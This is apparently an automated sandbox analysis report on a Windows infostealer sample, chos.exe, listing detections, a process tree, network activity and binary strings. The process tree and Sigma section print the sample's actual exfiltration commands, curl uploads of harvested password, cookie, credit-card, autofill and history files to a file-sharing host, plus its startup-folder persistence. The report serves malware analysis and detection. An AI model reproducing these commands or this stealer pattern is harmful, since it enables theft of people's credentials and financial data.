Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
chos.exe

Overview

General Information

Sample name:chos.exe
Analysis ID:1574329
MD5:c93bc8dcdb9b8c4b49b429b64c182b92
SHA1:c3f242a8b0eea955e86a95d95e08fb417ac553f2
SHA256:125e6a6964be32fbc935900b7de62513a0d6cd19c50a51a11b272636fd895ea6
Tags:exegithub-com--hombozuser-JAMESWT_MHT
Infos:

Detection

Score:80
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Antivirus / Scanner detection for submitted sample
Multi AV Scanner detection for submitted file
AI detected suspicious sample
Drops PE files to the startup folder
Found pyInstaller with non standard icon
Tries to detect the country of the analysis system (by using the IP)
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal communication platform credentials (via file / registry access)
Binary contains a suspicious time stamp
Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query CPU information (cpuid)
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Creates a process in suspended mode (likely to inject code)
Creates a start menu entry (Start Menu\Programs\Startup)
Detected potential crypto function
Drops PE files
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found dropped PE file which has not been started or loaded
Found evasive API chain checking for process token information
Found potential string decryption / allocating functions
IP address seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May check the online IP address of the machine
PE file contains executable resources (Code or Archives)
PE file contains sections with non-standard names
PE file does not import any functions
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sample file is different than original file name gathered from version info
Sigma detected: Startup Folder File Write
Sigma detected: Usage Of Web Request Commands And Cmdlets
Stores files to the Windows start menu directory

Classification

Process Tree

  • System is w10x64
  • chos.exe (PID: 7468 cmdline: "C:\Users\user\Desktop\chos.exe" MD5: C93BC8DCDB9B8C4B49B429B64C182B92)
    • chos.exe (PID: 7564 cmdline: "C:\Users\user\Desktop\chos.exe" MD5: C93BC8DCDB9B8C4B49B429B64C182B92)
      • cmd.exe (PID: 7624 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7632 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 7676 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
          • conhost.exe (PID: 4448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
      • cmd.exe (PID: 4136 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7980 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 8704 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 9896 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 9912 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 9964 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 10008 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 10024 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 10068 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 10112 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 10128 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 10172 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 10188 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 10204 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 7984 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 8012 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 8032 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 8112 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
  • chos.exe (PID: 9888 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe" MD5: C93BC8DCDB9B8C4B49B429B64C182B92)
    • chos.exe (PID: 10092 cmdline: "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe" MD5: C93BC8DCDB9B8C4B49B429B64C182B92)
      • cmd.exe (PID: 7224 cmdline: C:\Windows\system32\cmd.exe /c "tasklist" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 5400 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • tasklist.exe (PID: 3568 cmdline: tasklist MD5: D0A49A170E13D7F6AEBBEFED9DF88AAA)
      • cmd.exe (PID: 6468 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 2940 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 9712 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 2352 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 3984 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 5848 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crcookies.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 7356 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 5560 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 2848 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crcreditcards.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 4932 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 4508 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 7692 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crautofills.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 7668 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 5804 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 5736 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crhistories.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
      • cmd.exe (PID: 4864 cmdline: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)
        • conhost.exe (PID: 7876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)
        • curl.exe (PID: 8512 cmdline: curl -F "file=@C:\Users\user\AppData\Local\Temp\crbookmarks.txt" https://store4.gofile.io/uploadFile MD5: EAC53DDAFB5CC9E780A7CC086CE7B2B1)
  • cleanup

Malware Configuration

⊘No configs have been found

Yara Signatures

⊘No yara matches

Sigma Signatures

Sigma detected: Startup Folder File Write
Source: File createdAuthor: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research): Data: EventID: 11, Image: C:\Users\user\Desktop\chos.exe, ProcessId: 7564, TargetFilename: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exe
Sigma detected: Usage Of Web Request Commands And Cmdlets
Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile", CommandLine: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\Desktop\chos.exe", ParentImage: C:\Users\user\Desktop\chos.exe, ParentProcessId: 7564, ParentProcessName: chos.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "curl -F "file=@C:\Users\user\AppData\Local\Temp\crpasswords.txt" https://store4.gofile.io/uploadFile", ProcessId: 4136, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

barindex
Antivirus / Scanner detection for submitted sample
Source: chos.exeAvira: detected
Multi AV Scanner detection for submitted file
Source: chos.exeReversingLabs: Detection: 36%
AI detected suspicious sample
Source: Submited SampleIntegrated Neural Analysis Model: Matched 100.0% probability

Location Tracking

barindex
Tries to detect the country of the analysis system (by using the IP)
Source: unknownDNS query: name: geolocation-db.com
Source: C:\Users\user\Desktop\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI74682\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txtJump to behavior
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeFile created: C:\Users\user\AppData\Local\Temp\_MEI98882\setuptools\_vendor\wheel-0.43.0.dist-info\LICENSE.txtJump to behavior
Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.8:49715 version: TLS 1.2
Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.8:49720 version: TLS 1.2
Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.8:49725 version: TLS 1.2
Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.8:49746 version: TLS 1.2
Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.8:49753 version: TLS 1.2
Source: unknownHTTPS traffic detected: 31.14.70.245:443 -> 192.168.2.8:49760 version: TLS 1.2
Source: chos.exeStatic PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: chos.exe, 00000000.00000003.1426590138.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1641456665.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: chos.exe, 00000000.00000003.1427464931.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1642650213.00000243B8843000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: chos.exe, 00000000.00000003.1427624541.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1642801872.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_asyncio.pdb source: chos.exe, 00000000.00000003.1426703249.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1641621400.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_uuid.pdb source: chos.exe, 00000000.00000003.1428914450.0000018B76862000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_wmi.pdb(('GCTL source: chos.exe, 00000000.00000003.1429055969.0000018B76862000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: chos.exe, 00000000.00000003.1428323610.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1643743903.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_overlapped.pdb source: chos.exe, 00000000.00000003.1428168179.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1643387769.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: chos.exe, 00000000.00000003.1427624541.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1642801872.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: chos.exe, 00000000.00000003.1426840290.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1641792858.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_wmi.pdb source: chos.exe, 00000000.00000003.1429055969.0000018B76862000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: chos.exe, 00000000.00000003.1426422530.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1641240155.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: chos.exe, 00000000.00000003.1426422530.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1641240155.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: chos.exe, 00000000.00000003.1428399209.0000018B76862000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\1\b\bin\amd64\_multiprocessing.pdb source: chos.exe, 00000000.00000003.1428077354.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1643035111.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: chos.exe, 00000000.00000003.1426590138.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1641456665.00000243B8849000.00000004.00000020.00020000.00000000.sdmp
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DD83B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,0_2_00007FF666DD83B0
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DD92F0 FindFirstFileExW,FindClose,0_2_00007FF666DD92F0
Source: C:\Users\user\Desktop\chos.exeCode function: 0_2_00007FF666DF18E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,0_2_00007FF666DF18E4
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD7392F0 FindFirstFileExW,FindClose,10_2_00007FF7FD7392F0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD7383B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,10_2_00007FF7FD7383B0
Source: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\chos.exeCode function: 10_2_00007FF7FD7518E4 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,10_2_00007FF7FD7518E4
Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\
Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\
Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\
Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\
Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\
Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\
Source: Joe Sandbox ViewIP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox ViewIP Address: 104.26.12.205 104.26.12.205
Source: Joe Sandbox ViewIP Address: 162.159.138.232 162.159.138.232
Source: Joe Sandbox ViewJA3 fingerprint: 74954a0c86284d0d6e1c4efefe92b521
Source: unknownDNS query: name: api.ipify.org
Source: unknownDNS query: name: api.ipify.org
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
Source: global trafficDNS traffic detected: DNS query: api.ipify.org
Source: global trafficDNS traffic detected: DNS query: api.gofile.io
Source: global trafficDNS traffic detected: DNS query: geolocation-db.com
Source: global trafficDNS traffic detected: DNS query: store4.gofile.io
Source: global trafficDNS traffic detected: DNS query: discord.com
Source: unknownHTTP traffic detected: POST /uploadFile HTTP/1.1Host: store4.gofile.ioUser-Agent: curl/7.83.1Accept: */*Content-Length: 193Content-Type: multipart/form-data; boundary=------------------------cce6b149417beeab
Source: chos.exe, 00000011.00000003.1741361132.00000211B81C8000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1742097208.00000211B8D94000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000011.00000003.1740812158.00000211B7F9A000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://blog.cryptographyengineering.com/2012/05/how-to-choose-authenticated-encryption.html
Source: chos.exe, 00000000.00000003.1426703249.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428914450.0000018B7686F000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428547743.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1641621400.00000243B8849000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1644716975.00000243B8850000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1645659691.00000243B8850000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1641645391.00000243B8850000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.dig
Source: chos.exe, 00000000.00000003.1426703249.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428914450.0000018B7686F000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428547743.0000018B76862000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digD
Source: chos.exe, 00000000.00000002.1897980712.0000018B7686F000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428724868.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1645041537.00000243B8850000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.2119017318.00000243B8850000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digi
Source: chos.exe, 00000000.00000003.1428724868.0000018B76862000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digiD
Source: chos.exe, 00000000.00000003.1427464931.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428168179.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1427147151.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1426703249.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1427291874.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428399209.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428077354.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428547743.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428914450.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428724868.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1429055969.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1427624541.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1426840290.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428323610.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1643769155.00000243B8850000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1661127883.00000243B8850000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1645853866.00000243B8843000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1642650213.00000243B8843000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1661127883.00000243B8843000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1641645391.00000243B8843000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1659369350.00000243B8850000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: chos.exe, 00000000.00000003.1427464931.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428168179.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1427147151.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1426703249.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1427291874.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428399209.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428077354.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428547743.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428914450.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428724868.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1429055969.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1427624541.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1426840290.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428323610.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1641621400.00000243B8849000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1645853866.00000243B8843000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1661127883.00000243B8843000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1641645391.00000243B8843000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1659369350.00000243B8850000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1642232841.00000243B8843000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1642801872.00000243B8849000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: chos.exe, 00000000.00000003.1427464931.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428168179.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1427147151.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1426703249.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1427291874.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428399209.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428077354.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428547743.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428914450.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428724868.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1429055969.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1427624541.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1426840290.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 00000000.00000003.1428323610.0000018B76862000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1645853866.00000243B8843000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1642650213.00000243B8843000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1661127883.00000243B8843000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1641645391.00000243B8843000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1642232841.00000243B8843000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1642801872.00000243B8849000.00000004.00000020.00020000.00000000.sdmp, chos.exe, 0000000A.00000003.1642232841.00000243B8850000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
